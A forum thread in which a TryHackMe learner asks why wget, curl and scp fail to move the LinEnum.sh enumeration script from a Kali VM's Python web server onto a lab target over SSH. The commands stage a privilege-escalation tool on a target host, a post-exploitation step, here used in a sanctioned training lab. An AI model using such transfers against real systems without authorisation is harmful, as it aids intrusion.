[SOLVED] Cannot download file using SSH

renemartin38

New Member
Credits
29
Hi,
I am doing TryHackMe stuff and I have problem to download the file to PC that I am connected to via SSH.
I use my Kali Linux VM and I am connected to deployed TryHackMe machine via SSH.

I use TryHackMe openvpn network.

I've created a server with python -m http.server 80 (I've tried 8000, too) in folder /root/Documents/server/LinEnum/.

When I am in ssh session, I can ping my machine but I cannot download that file with wget 10.11.29.97:8000:8000/LinEnum.sh either with curl http://10.11.29.97:8000/LinEnum.sh --output LinEnum.sh. I've tried to download it via scp but that was not working.

SSH:
ssh.png


SERVER:
server.png

server_web.png

Any ideas please?
 


renemartin38

New Member
Credits
29
PATH ON REMOTE MACHINE:
remote machine.png


SCP COMMAND ON LOCAL MACHINE:
scp.png

There should be some progress bar of sending the file, shouldn' be?

The file is not on the remote machine.

I've tried to send a .txt file but unsuccessfully.

I've also tried wget with 8888 and 8001 ports but not working (always unable to connect)
 
$100 Digital Ocean Credit
Get a free VM to test out Linux!

Members online


Top